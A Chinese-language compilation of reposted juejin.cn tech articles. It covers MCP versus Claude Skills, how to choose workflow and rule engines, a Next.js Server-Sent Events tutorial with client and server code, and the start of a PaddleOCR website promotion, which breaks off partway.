allowed-tools限制 Skill 的能力范围
---
name: safe-file-reader
description: Read and analyze files without making changes
allowed-tools: Read, Grep, Glob # 只允许读操作
---
Skill 的平台支持
Agent Skills 目前支持:
- Claude.ai(Pro、Max、Team、Enterprise)
- Claude Code
- Claude Agent SDK
- Claude Developer Platform
需要注意的是,Skill 目前是 Anthropic 生态专属的,不像 MCP 是跨平台的开放协议。
MCP vs Skill:架构层级对比
现在我们可以从架构层级来理解两者的区别:
┌─────────────────────────────────────────────────────────┐
│ 用户请求 │
└────────────────────────┬────────────────────────────────┘
▼
┌─────────────────────────────────────────────────────────┐
│ 提示/知识层 (Skill) │
│ │
│ Skill 注入专业知识和工作流程 │
│ "怎么做某类任务" │
└────────────────────────┬────────────────────────────────┘
▼
┌─────────────────────────────────────────────────────────┐
│ LLM 推理层 │
│ │
│ Claude / GPT / Gemini 等 │
│ 理解请求,决定需要什么工具 │
└────────────────────────┬────────────────────────────────┘
▼
┌─────────────────────────────────────────────────────────┐
│ 集成层 (MCP) │
│ │
│ MCP 连接外部系统 │
│ "能访问什么工具和数据" │
└────────────────────────┬────────────────────────────────┘
▼
┌─────────────────────────────────────────────────────────┐
│ 外部世界 │
│ │
│ 数据库、API、文件系统、第三方服务 │
└─────────────────────────────────────────────────────────┘
Skill 在上层(知识层),MCP 在下层(集成层)。
两者不是替代关系,而是互补关系。你可以:
- 用 MCP 连接 GitHub
- 用 Skill 教 AI 如何按照团队规范做 Code Review
详细对比表
| 维度 | MCP | Skill |
|---|---|---|
| 核心作用 | 连接外部系统 | 编码专业知识和方法论 |
| 架构层级 | 集成层 | 提示/知识层 |
| 协议基础 | JSON-RPC 2.0 | 文件系统 + Markdown |
| 跨平台 | 是(开放协议,多平台支持) | 否(目前 Anthropic 生态专属) |
| 触发方式 | 持久连接,随时可用 | 基于描述的语义匹配,自动触发 |
| Token 消耗 | 高(工具定义持久占用上下文) | 低(渐进式加载) |
| 外部访问 | 可以直接访问外部系统 | 不能直接访问,需要配合 MCP 或内置工具 |
| 复杂度 | 高(需要理解协议、运行 Server) | 低(写 Markdown 就行) |
| 可复用性 | 高(标准化协议,跨应用复用) | 中(文件夹,可以 Git 共享) |
| 动态发现 | 是(运行时发现可用工具) | 是(运行时发现可用 Skill) |
| 安全考虑 | 外部内容带来 prompt injection 风险 | Skill 文件本身可能包含恶意指令 |
什么时候用 MCP,什么时候用 Skill
用 MCP 的场景
- 需要访问外部数据:数据库查询、API 调用、文件系统访问
- 需要操作外部系统:创建 GitHub Issue、发送 Slack 消息、执行 SQL
- 需要实时信息:监控系统状态、查看日志、搜索引擎结果
- 需要跨平台复用:同一个工具在 Claude Desktop、Cursor、其他支持 MCP 的应用中使用
用 Skill 的场景
- 重复性的工作流程:代码审查、文档生成、数据分析
- 公司内部规范:代码风格、提交规范、文档格式
- 需要多步骤的复杂任务:需要详细指导的专业任务
- 团队共享的最佳实践:标准化的操作流程
- Token 敏感场景:需要大量知识但不想一直占用上下文
结合使用
很多时候,两者是配合使用的:
用户:"Review PR #456 并按照团队规范给出建议"
1. MCP (GitHub) 获取 PR 信息
↓
2. Skill (团队代码审查规范) 提供审查方法论
↓
3. Claude 按照 Skill 的指令分析代码
↓
4. MCP (GitHub) 提交评论
MCP 负责"能访问什么",Skill 负责"怎么做"。
写好 Skill 的关键
Skill 能不能被正确触发,90% 取决于 description 写得好不好。
差的 description
description: Helps with data
太宽泛,Claude 不知道什么时候该用。
好的 description
description: >
Analyze Excel spreadsheets, generate pivot tables, and create charts.
Use when working with Excel files (.xlsx), spreadsheets, or tabular data analysis.
Triggers on: "analyze spreadsheet", "create pivot table", "Excel chart"
好的 description 应该包含:
- 做什么:具体的能力描述
- 什么时候用:明确的触发场景
- 触发词:用户可能说的关键词
最佳实践
官方建议:
- 保持专注:一个 Skill 做一件事,避免宽泛的跨域 Skill
- SKILL.md 控制在 500 行以内:太长的话拆分到支持文件
- 测试触发行为:确认相关请求能触发,不相关请求不会误触发
- 版本控制:记录 Skill 的变更历史
关于 Slash Command
文章标题是 MCP vs Skill,但很多人也会问到 Slash Command,简单说一下。
Slash Command 是最简单的扩展方式——本质上是存储的提示词,用户输入 /命令名 时注入到对话中。
Skill vs Slash Command 的关键区别是触发方式:
| Slash Command | Skill | |
|---|---|---|
| 触发方式 | 用户显式输入 /命令 | Claude 自动匹配 |
| 用户控制 | 完全控制何时触发 | 无法控制,Claude 决定 |
问自己一个问题:用户是否需要显式控制触发时机?
- 需要 → Slash Command
- 不需要,希望 AI 自动判断 → Skill
总结
MCP 和 Skill 是 AI Agent 扩展的两种不同哲学:
| MCP | Skill | |
|---|---|---|
| 哲学 | 连接主义 | 知识打包 |
| 问的问题 | "AI 能访问什么?" | "AI 知道怎么做什么?" |
| 层级 | 集成层 | 知识层 |
| Token 策略 | 预加载所有能力 | 按需加载知识 |
记住这句话:
MCP connects AI to data; Skills teach AI what to do with that data.
MCP 让 AI 能"碰到"数据,Skill 教 AI 怎么"处理"数据。
它们不是替代关系,而是互补关系。一个成熟的 AI Agent 系统,两者都需要。
参考资源
MCP 官方资源
- Model Context Protocol 官网 - 协议规范、快速入门、Server 开发指南
- MCP Specification - 完整的协议规范文档
- Introducing the Model Context Protocol - Anthropic 发布 MCP 的官方博客
- MCP GitHub Organization - 官方 SDK、示例 Server、参考实现
- Awesome MCP Servers - 社区维护的 MCP Server 列表
Skill 官方资源
- Claude Code Skills 文档 - Skills 的完整文档
- Building effective agents - Anthropic 关于 Agent 设计的研究博客
- Context Engineering Guide - 上下文工程官方指南,理解 Skill 设计哲学的关键
跨平台采用
- OpenAI adds support for MCP - OpenAI 宣布支持 MCP
- Google Gemini MCP Support - Google 宣布 Gemini 支持 MCP
延伸阅读
- Function Calling vs MCP - 理解两者区别
- Claude Code Documentation - Claude Code 完整文档
- Prompt Engineering Guide - 提示工程基础,Context Engineering 的前置知识
如果你觉得这篇文章有帮助,欢迎关注我的 GitHub,下面是我的一些开源项目:
Claude Code Skills(按需加载,意图自动识别,不浪费 token,介绍文章):
- code-review-skill - 代码审查技能,覆盖 React 19、Vue 3、TypeScript、Rust 等约 9000 行规则(详细介绍)
- 5-whys-skill - 5 Whys 根因分析,说"找根因"自动激活
- first-principles-skill - 第一性原理思考,适合架构设计和技术选型
全栈项目(适合学习现代技术栈):
- prompt-vault - Prompt 管理器,用的都是最新的技术栈,适合用来学习了解最新的前端全栈开发范式:Next.js 15 + React 19 + tRPC 11 + Supabase 全栈示例,clone 下来配个免费 Supabase 就能跑
- chat_edit - 双模式 AI 应用(聊天+富文本编辑),Vue 3.5 + TypeScript + Vite 5 + Quill 2.0 + IndexedDB
来源:juejin.cn/post/7584057497205817387
流程引擎、工作流、规则引擎、编排系统、表达式引擎……天呐,我到底该用哪个?
你是不是也有这些困惑
看项目文档,各种名词扑面而来:
- 流程引擎(Flowable、Camunda)
- 工作流(Activiti)
- 规则引擎(Drools)
- 编排系统(LiteFlow)
- 表达式引擎(QLExpress、Aviator)
- DAG调度(Airflow、DolphinScheduler)
- 任务编排(Temporal、Conductor)
- BPMN、Saga、Event-Driven...
每个框架都说自己能解决问题,每个概念看起来都差不多。
新手一脸懵逼,老手也经常搞混。
干了20年,我也被这些东西搞晕过。今天不讲那些虚的,直接告诉你怎么选。
答案很简单:别管这些名词,问自己四个问题就够了。
忘掉那些名词,只问四个问题
看了一堆框架介绍还是不知道选哪个?正常,因为你在纠结概念。
别纠结了,概念都是虚的。问自己四个问题,立刻就清楚了。
问题1:你是要干活,还是改状态?
这是最关键的一个问题。搞清楚这个,一大半框架就排除了。
改状态是什么意思?
请假审批:
员工提交 → 主管看了说"行" → HR看了说"行" → 完成
整个过程:
- 没有计算
- 没有数据转换
- 没有调用外部系统
- 就是状态从 pending 变成 approved
这就是纯改状态。
干活是什么意思?
订单处理:
下单 → 扣库存 → 调支付接口 → 调物流接口 → 发货
整个过程:
- 要计算金额
- 要调用外部API
- 要处理数据
- 要执行业务逻辑
这就是干活。
判断标准:
- 改状态:就是让人点"同意"或"拒绝",除了改个字段,啥也没干
- 干活:要计算、要调API、要处理数据
对应框架:
- 改状态 → BPMN系(Flowable、Camunda)
- 干活 → 继续往下判断
问题2:主要是人处理,还是机器执行?
人处理:
审批流程:
- 主管要看文档
- 主管要做判断
- 主管要点按钮
- 然后等下一个人
特点:大部分时间在等人
机器执行:
数据处理:
- 读数据库
- 清洗数据
- 转换格式
- 写入目标表
特点:机器自己跑,不用人管
对应框架:
- 人为主 → BPMN系(Flowable、Camunda)
- 机器为主 → 继续往下判断
问题3:是本地方法,还是跨系统调用?
本地方法:
营销规则:
- 判断用户是不是VIP
- 计算折扣
- 返回结果
都在一个应用里,不用调外部接口
跨系统调用:
订单流程:
- 调库存系统(HTTP)
- 调支付系统(HTTP)
- 调物流系统(HTTP)
要跨多个服务
对应框架:
- 本地 → 表达式系、脚本系(QLExpress、LiteFlow)
- 跨系统 → DAG系、服务编排系(Airflow、Temporal)
问题4:自己玩,还是要搞生态?
自己玩:
你的团队自己维护:
- 规则你们自己写
- 代码你们自己改
- 不需要外部开发者
搞生态:
做平台,让别人扩展:
- 客户可以上传插件
- 第三方可以写脚本
- 需要沙箱隔离
对应技术:
- 自己玩 → 表达式 + 代码(QLExpress、Aviator)
- 搞生态 → Groovy脚本、插件机制
那些让人头疼的框架,到底是干什么的
四个问题问完,你大概知道方向了。现在看看具体框架都是什么情况。
不用全看,只看和你匹配的那一类就行。
BPMN系:Flowable、Camunda、Activiti
适合场景:
- 纯人工审批流程
- 需要流程图可视化
- 需要历史记录追溯
- 大公司、强合规要求
典型例子:
- 请假审批
- 报销审批
- 合同审批
- 采购流程
核心特点:
- 本质就是改状态
- 大部分时间在等人
- 业务价值为0(只是流程管理)
- 技术难度不高(就是状态机)
什么时候用:
- 大公司(100+人),有几十个审批流程要管理
- 金融、政府等强合规行业
- 需要标准化流程管理
什么时候别用:
- 小公司(别用,钉钉审批就够了)
- 没有复杂审批需求(自己写100行代码搞定)
- 为了"企业级"而用(过度设计)
DAG系:Airflow、DolphinScheduler、Prefect
适合场景:
- 数据处理任务
- 离线批处理
- 定时调度
- 任务有依赖关系
典型例子:
- 数据ETL
- 报表生成
- 数据清洗
- 机器学习Pipeline
核心特点:
- 纯机器执行
- 长时间运行(小时、天级)
- 任务之间有依赖(A完成才能B)
- 需要调度和监控
什么时候用:
- 数据团队做离线处理
- 有复杂的任务依赖关系
- 需要定时调度(每天、每周)
什么时候别用:
- 实时性要求高的(秒级响应)
- 简单的定时任务(用Cron就够了)
- 没有依赖关系的任务
表达式/脚本系:QLExpress、Aviator、LiteFlow、Groovy
适合场景:
- 规则计算
- 业务流程编排
- 本地方法调用
- 需要动态配置
典型例子:
- 营销活动规则(满减、折扣)
- 风控规则(黑名单、评分)
- 订单流程(本地编排)
- 积分计算
QLExpress / Aviator(表达式):
- 优点:性能好、类Java语法、团队容易上手
- 缺点:功能受限、只能简单计算
- 适合:自己团队玩、简单规则
Groovy(脚本):
- 优点:功能完整、可以调复杂API
- 缺点:性能差、调试难、类型不安全
- 适合:要搞插件生态、客户自定义逻辑
LiteFlow(编排):
- 优点:可视化编排、组件复用
- 缺点:学习成本、维护成本
- 适合:流程确实复杂、经常变化
什么时候用:
- 规则经常变(不想每次改代码发版)
- 流程需要配置化
- 有一定复杂度(10+个分支)
什么时候别用:
- 简单的if-else(直接写代码)
- 流程固定不变(没必要配置化)
- 为了"灵活"而牺牲性能
服务编排系:Temporal、Cadence、Conductor
适合场景:
- 微服务编排
- 分布式事务
- 长时间运行的业务流程
- 需要补偿机制
典型例子:
- 订单流程(支付 → 发货 → 签收)
- 旅游预订(机票 + 酒店 + 门票)
- 跨系统流程
- Saga模式
核心特点:
- 支持长时间运行(天级)
- 支持失败重试
- 支持补偿逻辑
- 状态持久化
什么时候用:
- 微服务架构,需要编排多个服务
- 需要分布式事务
- 流程可能运行很久(几小时、几天)
什么时候别用:
- 单体应用(没有跨服务需求)
- 简单的API调用(直接用HTTP就行)
- 实时性要求极高的(毫秒级)
懒得看?直接照这个选
如果你嫌上面内容太多,直接看这个决策树。
跟着问题一步步走,到底了就知道该用什么。
开始
↓
主要是人审批吗?
↓ 是
用 Flowable/Camunda(大公司)或钉钉审批(小公司)
↓ 否
是长时间运行的任务吗(>10分钟)?
↓ 是
用 Airflow/DolphinScheduler
↓ 否
需要跨系统调用吗?
↓ 是
用 Temporal/Conductor(微服务)或 Airflow(数据处理)
↓ 否
逻辑很复杂吗(>10个分支)?
↓ 是
用 LiteFlow(编排)或 QLExpress(规则)
↓ 否
需要频繁修改规则吗?
↓ 是
用 QLExpress/Aviator
↓ 否
直接写代码!
具体场景怎么选
理论说完了,看几个实际例子。看看你的场景和哪个像。
场景1:请假审批
特征:
- 纯人工审批
- 状态流转
- 需要历史记录
选型:
- 小公司:钉钉/企业微信审批
- 大公司:Flowable/Camunda
- 自己开发:状态机 + 数据库
场景2:电商订单流程
特征:
- 要调支付、库存、物流接口
- 有失败重试和补偿
- 短事务(分钟级)
选型:
- 复杂场景:Temporal/Cadence
- 简单场景:LiteFlow + 消息队列
- 最简单:直接写代码 + 状态机
场景3:数据ETL
特征:
- 纯机器执行
- 长时间运行
- 任务有依赖
选型:
- 标准方案:Airflow/DolphinScheduler
- 简单场景:XXL-Job
场景4:营销活动规则
特征:
- 规则计算
- 经常变化
- 本地方法
选型:
- 简单规则:QLExpress/Aviator
- 复杂规则:Drools
- 有编排需求:LiteFlow
很多人踩过的坑
说几个常见的错误,别重复踩坑。
误区1:追求"企业级架构"
错误做法:
20人的创业公司,上了Flowable、Camunda、Airflow一整套
正确做法:
能用100行代码解决就别上框架
误区2:为了灵活性而牺牲性能
错误做法:
所有逻辑都用Groovy脚本,方便修改
正确做法:
核心逻辑用Java写,只把经常变的部分配置化
误区3:过度抽象
错误做法:
3个简单流程,非要搞个"流程引擎"
正确做法:
3个流程就3个方法,直接写代码
误区4:混淆概念
错误理解:
"我需要流程编排,所以要用Flowable"
正确理解:
先搞清楚你要干活还是改状态
是人审批还是机器执行
几句大实话
最后说几句掏心窝的话。
1. 先用最简单的方案
遇到问题:
第一反应不是"上框架"
而是"能不能写100行代码搞定"
90%的情况,100行代码就够了
2. 遇到瓶颈再优化
流程很乱了 → 重构代码
改动很频繁 → 考虑配置化
管理不过来 → 考虑框架
别提前优化
3. 根据团队规模选择
小团队(<20人):
- 能不用框架就不用
- 钉钉审批、Cron、直接写代码
中等团队(20-100人):
- 流程<10个:自己写
- 流程>10个:考虑轻量级框架
大团队(>100人):
- 需要标准化管理
- 可以考虑成熟框架
4. 看业务特点
强合规(金融、政府):
- 必须用标准化工具
- Flowable是选择之一
数据密集:
- Airflow是标准方案
微服务架构:
- Temporal值得考虑
简单CRUD:
- 别折腾,写代码
说到底,就这么点事
看完还觉得复杂?那就记住这四个问题:
- 干活还是改状态?
- 人为主还是机器为主?
- 本地方法还是跨系统?
- 自己玩还是搞生态?
四个问题问完,基本就知道该用什么了。
那些"企业级"、"先进架构"、"灵活扩展"的词,都是包装。
看透本质,别被忽悠。
能用100行代码解决的,就别上框架。
技术是为业务服务的,不是为了炫技。
务实点,别整那些虚的。
就这样。
来源:juejin.cn/post/7587299670642606086
WebSocket 不是唯一选择:SSE 打造轻量级实时推送系统 🚀🚀🚀
面试导航 是一个专注于前、后端技术学习和面试准备的 免费 学习平台,提供系统化的技术栈学习,深入讲解每个知识点的核心原理,帮助开发者构建全面的技术体系。平台还收录了大量真实的校招与社招面经,帮助你快速掌握面试技巧,提升求职竞争力。如果你想加入我们的交流群,欢迎通过微信联系:
yunmz777。

在需要服务器实时向浏览器推送数据的场景中,很多人第一反应是使用 WebSocket,但其实还有一种更轻量、更简单的解决方案 —— SSE(Server-Sent Events)。它天生适合“服务器单向推送”,而且浏览器原生支持、无需额外协议、写起来极其简单。
本文将从原理、协议、代码、对比、性能、安全等多个方面,帮你系统了解 SSE 的底层机制与实际应用。
🧠 一、什么是 SSE?
SSE,全称 Server-Sent Events,是 HTML5 提出的标准之一,用于建立一种 客户端到服务器的持久连接,允许服务器在数据更新时,主动将事件推送到客户端。
通俗点讲,它就像是:
浏览器发起了一个请求,服务器就打开一个“水管”,源源不断地往客户端输送数据流,直到你手动关闭它。
它基于标准的 HTTP 协议,与传统请求-响应的“短连接”模式不同,SSE 是长连接,并且保持活跃,类似于“实时通知通道”。
🛠️ 二、SSE 的通信机制与协议细节
✅ 客户端:使用 EventSource 建立连接
const sse = new EventSource("/events");
sse.onmessage = (event) => {
console.log("新消息:", event.data);
};
EventSource 是浏览器自带的,直接用就行,不用装库。它会自动处理连接、断线重连这些问题,基本不需要你操心,消息来了就能收到。
原生 EventSource 的使用限制
虽然原生的 EventSource 对象很方便,但也存在很多的限制,它只能发送 GET 请求,不支持设置请求方法,也不能附带请求体。
你不能通过 EventSource 设置如 Authorization、token 等自定义请求头用于鉴权。
例如,下面这样是不被支持的:
const sse = new EventSource("/events", {
headers: {
Authorization: "Bearer xxx",
},
});
这在 fetch 里没问题,但在 EventSource 里完全不支持。直接报错,浏览器压根不给你设置 headers。
EventSource 虽然支持跨域,但得服务器配合设置 CORS,而且还不能用 withCredentials。换句话说,你不能让它自动带上 cookie,那些基于 cookie 登录的服务就麻烦了。
如果你需要传 token 或做鉴权,可以使用查询参数传 token,比如这样:
const token = "abc123";
const sse = new EventSource(`/events?token=${token}`);
✅ 服务器:响应格式必须为 text/event-stream
服务器需要返回特定格式的数据流,并设置以下 HTTP 响应头:
Content-Type: text/event-stream
Cache-Control: no-cache
Connection: keep-alive
如下图所示:

然后每条消息遵循下面的格式:
data: Hello from server
id: 1001
event: message
如下图所示:
在上面的内容中,主要有以下解释,如下表格所示:
| 字段 | 说明 |
|---|---|
data: | 消息正文内容,支持多行 |
id: | 消息 ID,浏览器断线重连后会通过 Last-Event-ID 自动恢复 |
event: | 自定义事件名(默认是 message) |
retry: | 指定断线重连间隔(毫秒) |
🔄 三、SSE vs WebSocket vs 轮询,对比总结
| 特性 | SSE | WebSocket | 长轮询(Ajax) |
|---|---|---|---|
| 通信方向 | 单向(服务器 → 客户端) | 双向 | 单向 |
| 协议 | HTTP | 自定义 ws 协议 | HTTP |
| 支持断线重连 | ✅ 内置自动重连 | ❌ 需手动重连逻辑 | ❌ |
| 浏览器兼容性 | 现代浏览器支持,IE 不支持 | 广泛支持 | 兼容性强 |
| 复杂度 | ✅ 最简单,零依赖 | 中等 | 简单但消耗高 |
| 使用场景 | 实时通知、进度、新闻、后台日志 | 聊天、游戏、协作、股票交易等 | 简单刷新类数据 |
🚀 四:如何在 NextJs 中实现
NextJS 作为一个现代化的 React 框架,非常适合实现 SSE。下面我们将通过一个完整的实例来展示如何在 NextJS 应用中实现服务器发送事件。
前端代码如下:
"use client";
import React, { useState, useEffect, useRef } from "react";
export default function SSEDemo() {
const [sseData, setSseData] = useState<{
time?: string;
value?: string;
message?: string;
error?: string;
} | null>(null);
const [connected, setConnected] = useState(false);
const [reconnecting, setReconnecting] = useState(false);
const [reconnectCount, setReconnectCount] = useState(0);
const eventSourceRef = useRef<EventSource | null>(null);
const reconnectTimeoutRef = useRef<NodeJS.Timeout | null>(null);
// 建立SSE连接
const connectSSE = () => {
// 关闭任何现有连接
if (eventSourceRef.current) {
eventSourceRef.current.close();
}
// 清除任何挂起的重连计时器
if (reconnectTimeoutRef.current) {
clearTimeout(reconnectTimeoutRef.current);
}
try {
setReconnecting(true);
// 添加时间戳防止缓存
const eventSource = new EventSource(`/api/sse?t=${Date.now()}`);
eventSourceRef.current = eventSource;
eventSource.onopen = () => {
setConnected(true);
setReconnecting(false);
setReconnectCount(0);
console.log("SSE连接已建立");
};
eventSource.onmessage = (event) => {
try {
const data = JSON.parse(event.data);
setSseData(data);
} catch (error) {
console.error("解析SSE数据失败:", error);
}
};
eventSource.onerror = (error) => {
console.error("SSE连接错误:", error);
setConnected(false);
eventSource.close();
// 增加重连次数
setReconnectCount((prev) => prev + 1);
// 随着失败次数增加,增加重连间隔(指数退避策略)
const reconnectDelay = Math.min(
30000,
1000 * Math.pow(2, Math.min(reconnectCount, 5))
);
setReconnecting(true);
setSseData((prev) => ({
...prev,
message: `连接失败,${reconnectDelay / 1000}秒后重试...`,
}));
// 尝试重新连接
reconnectTimeoutRef.current = setTimeout(() => {
connectSSE();
}, reconnectDelay);
};
} catch (error) {
console.error("创建SSE连接失败:", error);
setConnected(false);
setReconnecting(true);
// 5秒后重试
reconnectTimeoutRef.current = setTimeout(() => {
connectSSE();
}, 5000);
}
};
useEffect(() => {
connectSSE();
// 定期检查连接是否健康
const healthCheck = setInterval(() => {
if (eventSourceRef.current && !connected) {
// 如果存在连接但状态是未连接,尝试重新连接
connectSSE();
}
}, 30000);
// 清理函数
return () => {
if (eventSourceRef.current) {
eventSourceRef.current.close();
}
if (reconnectTimeoutRef.current) {
clearTimeout(reconnectTimeoutRef.current);
}
clearInterval(healthCheck);
};
}, []);
return (
<div className="min-h-screen bg-gradient-to-b from-slate-900 to-slate-800 text-white flex flex-col items-center justify-center p-4">
<div className="w-full max-w-md bg-slate-800 rounded-xl shadow-2xl overflow-hidden">
<div className="p-6 border-b border-slate-700">
<h1 className="text-3xl font-bold text-center text-blue-400">
SSE 演示
</h1>
<div className="mt-2 flex items-center justify-center">
<div
className={`h-3 w-3 rounded-full mr-2 ${
connected
? "bg-green-500"
: reconnecting
? "bg-yellow-500 animate-pulse"
: "bg-red-500"
}`}
></div>
<p className="text-sm text-slate-300">
{connected
? "已连接到服务器"
: reconnecting
? `正在重新连接 (尝试 ${reconnectCount})`
: "连接断开"}
</p>
</div>
{!connected && (
<button
onClick={() => connectSSE()}
className="mt-3 px-3 py-1 bg-blue-600 text-sm text-white rounded-md mx-auto block hover:bg-blue-700"
>
手动重连
</button>
)}
</div>
{sseData && (
<div className="p-6">
{sseData.error ? (
<div className="rounded-lg bg-red-900/30 p-4 mb-4 text-center border border-red-800">
<p className="text-lg text-red-300">{sseData.error}</p>
</div>
) : sseData.message ? (
<div className="rounded-lg bg-slate-700 p-4 mb-4 text-center">
<p className="text-lg text-blue-300">{sseData.message}</p>
</div>
) : (
<div className="space-y-4">
<div className="flex justify-between items-center">
<span className="text-slate-400">时间:</span>
<span className="font-mono bg-slate-700 px-3 py-1 rounded-md text-blue-300">
{sseData.time &&
new Date(sseData.time).toLocaleTimeString()}
</span>
</div>
<div className="flex justify-between items-center">
<span className="text-slate-400">随机值:</span>
<span className="font-mono bg-slate-700 px-3 py-1 rounded-md text-green-300">
{sseData.value}
</span>
</div>
</div>
)}
</div>
)}
{!sseData && (
<div className="p-6 text-center text-slate-400">
<p>等待数据中...</p>
<div className="mt-4 flex justify-center">
<div className="animate-spin rounded-full h-8 w-8 border-t-2 border-b-2 border-blue-400"></div>
</div>
</div>
)}
</div>
</div>
);
}
在上面的代码中,我们用的是浏览器的原生 EventSource,加了个时间戳 t=${Date.now()} 是为了防止缓存,确保每次都是新的连接。
然后我们监听三个事件:
- onopen:连接成功,更新状态,重置重连次数。
- onmessage:收到数据,尝试解析 JSON,然后保存到状态里。
- onerror:连接失败,进入重连逻辑(详细见下面)。
当连接出错时,我们做了这些事:
- 断开当前连接
- 增加重连次数
- 用指数退避算法(越失败,重试间隔越长,最多 30 秒)
- 设置一个 setTimeout 自动重连
而且页面上也有提示「正在重连」和「手动重连」的按钮,体验很人性化。
接下来我们看看后端代码,如下:
export async function GET() {
// 标记连接是否仍然有效,
let connectionClosed = false;
// 使用Next.js的流式响应处理
return new Response(
new ReadableStream({
start(controller) {
const encoder = new TextEncoder();
// 监测响应对象是否被关闭
const abortController = new AbortController();
const signal = abortController.signal;
signal.addEventListener("abort", () => {
connectionClosed = true;
cleanup();
});
// 安全发送数据函数
const safeEnqueue = (data: string) => {
if (connectionClosed) return;
try {
controller.enqueue(encoder.encode(data));
} catch (error) {
console.error("SSE发送错误:", error);
connectionClosed = true;
cleanup();
}
};
// 发送初始数据
safeEnqueue(`data: ${JSON.stringify({ message: "连接已建立" })}\n\n`);
// 定义interval引用
let heartbeatInterval: NodeJS.Timeout | null = null;
let dataInterval: NodeJS.Timeout | null = null;
// 清理所有资源
const cleanup = () => {
if (heartbeatInterval) clearInterval(heartbeatInterval);
if (dataInterval) clearInterval(dataInterval);
// 尝试安全关闭控制器
try {
if (!connectionClosed) {
controller.close();
}
} catch (e) {
// 忽略关闭时的错误
}
};
// 设置10秒的心跳间隔,避免连接超时
heartbeatInterval = setInterval(() => {
if (connectionClosed) {
cleanup();
return;
}
safeEnqueue(": heartbeat\n\n");
}, 10000);
// 每秒发送一次数据
dataInterval = setInterval(() => {
if (connectionClosed) {
cleanup();
return;
}
try {
const data = {
time: new Date().toISOString(),
value: Math.random().toFixed(3),
};
safeEnqueue(`data: ${JSON.stringify(data)}\n\n`);
} catch (error) {
console.error("数据生成错误:", error);
connectionClosed = true;
cleanup();
}
}, 1000);
// 60秒后自动关闭连接(可根据需要调整)
setTimeout(() => {
// 只有当连接仍然活跃时才发送消息和关闭
if (!connectionClosed) {
try {
safeEnqueue(
`data: ${JSON.stringify({
message: "连接即将关闭,请刷新页面重新连接",
})}\n\n`
);
connectionClosed = true;
cleanup();
} catch (e) {
// 忽略关闭时的错误
}
}
}, 60000);
},
cancel() {
// 当流被取消时调用
connectionClosed = true;
},
}),
{
headers: {
"Content-Type": "text/event-stream",
"Cache-Control": "no-cache, no-transform",
Connection: "keep-alive",
"Access-Control-Allow-Origin": "*",
"X-Accel-Buffering": "no", // 适用于某些代理服务器如Nginx
},
}
);
}
这段代码是 Next.js 后端 API 路由,用来实现 SSE(Server-Sent Events)长连接。我们使用了 ReadableStream 创建一个持续向前端推送数据的响应流,并配合 AbortSignal 检测连接是否被关闭:
return new Response(new ReadableStream({ start(controller) { ... } }), { headers: {...} });
一开始,服务器通过 safeEnqueue 安全地向客户端发送一条欢迎消息:
safeEnqueue(`data: ${JSON.stringify({ message: "连接已建立" })}\n\n`);
随后每秒生成一条数据(当前时间和随机值)推送给前端,并通过 setInterval 定时发送:
const data = {
time: new Date().toISOString(),
value: Math.random().toFixed(3),
};
safeEnqueue(`data: ${JSON.stringify(data)}\n\n`);
为了保持连接活跃,避免浏览器或代理中断连接,我们每 10 秒发送一次心跳包(以冒号开头的注释):
safeEnqueue(": heartbeat\n\n");
还加了一个自动关闭机制——60 秒后主动断开连接并提示前端刷新:
safeEnqueue(
`data: ${JSON.stringify({ message: "连接即将关闭,请刷新页面重新连接" })}\n\n`
);
整个数据发送过程都包裹在 safeEnqueue 中,确保连接断开时能安全终止,并调用 cleanup() 清理资源。响应头中我们指定了 text/event-stream,关闭了缓存,并设置了必要的长连接参数:
headers: {
"Content-Type": "text/event-stream",
"Cache-Control": "no-cache, no-transform",
Connection: "keep-alive",
"Access-Control-Allow-Origin": "*",
"X-Accel-Buffering": "no"
}
通过这种方式,服务端可以稳定地向客户端发送实时数据,同时具备自动断开、心跳维持、错误处理等健壮性,是非常实用的 SSE 实践方案。
最终结果如下图所示:

成功实现。
总结
SSE(Server-Sent Events)是一种基于 HTTP 的 服务器向客户端单向推送数据的机制,适用于需要持续更新前端状态的场景。除了浏览器原生支持的 EventSource,也可以通过 fetch + ReadableStream 或框架内置流式处理(如 Next.js API Route、Node.js Response Stream)来实现,适配更复杂或自定义需求。相比 WebSocket,SSE 实现更简单,自动断线重连、无需维护双向协议,非常适合实时消息通知、进度条更新、在线人数统计、系统日志流、IoT 设备状态推送等。它特别适合“只要服务器推就好”的场景,无需双向通信时是高效选择。
来源:juejin.cn/post/7493140532798914570
国产 OCR 开源神器官网上线了,相当给力。
在大模型狂飙突进的今天,高质量、结构化的数据已成为决定 AI 能力的核心基建。而现实中,海量知识却沉睡在PDF、扫描件、报告等非结构化文档中。
如何将这座富矿高效、精准地转化为大模型可理解、可训练的数据燃料,是整个产业面临的关键瓶颈。
OCR(光学字符识别)技术正是打通这一瓶颈的数据管道。但传统OCR主要停留在「字符识别」层面,面对包含图表、公式、代码以及复杂版式的文档时,往往会产出混乱的文本流,难以支撑后续理解、检索等等需求。
因此,在大模型时代,这一能力已远远不够。一个真正可用的文档解析方案,必须提供端到端的文档智能解析能力:不仅「看得准」,更要「懂得清」。
它需要在识别文本的同时,理解文档的语义结构和版式逻辑,将原始文档精准还原为包含标题、段落、表格、图表描述、公式 LaTeX、代码块等语义信息的标准化表示形式(如 Markdown / JSON)。
只有当非结构化文档被转化为高质量、可直接消费的结构化数据,才能真正成为大模型训练、知识库构建、RAG 检索与智能问答中的可靠数据原料,从而发挥它应有的价值。
今天,这个关键的「数据管道」迎来了它里程碑式产品化升级——PaddleOCR 官网(http://www.paddleocr.com)正式版上线了!
这不仅是其强大开源能力的直观展现,更通过丝滑的体验与海量API,将文档结构化能力推向了普惠化应用。
熟悉我的老粉都知道,过去如果我要推荐 OCR 或文档解析工具,基本只会提到 PaddleOCR。原因很简单:我希望为大家提供一条最高效、最直接的“生产力路径”,而不是让大家在众多项目中反复试错。
这不仅是我的推荐逻辑,也是各大模型厂商在开源选型时的共识——PaddleOCR 几乎是文档解析领域唯一被广泛引用的开源方案。
今年 10 月 17 日 PaddleOCR-VL 刚刚发布,仅用 16 小时就登顶 HuggingFace Trending 全球榜首。
短短两个月内,项目的 Star 数从 57k 飙升至接近 67k。要知道,一个开源项目在五年之后还能保持这样的增长速度,背后一定是它切中了真实且迫切的用户需求。
01、关键特性:三大模型,覆盖全场景文档解析
打开官网,你会看到三个核心入口:GitHub 开源地址、MCP 接口、API 接口。下方支持直接上传图像或 PDF,体验 PaddleOCR 的三大模型方案:
- PP-OCRv5:轻量级 OCR,适合纯文本提取
- PP-StructureV3:基于pipeline架构的文档解析,支持印章、表格、标题等还原,零幻觉
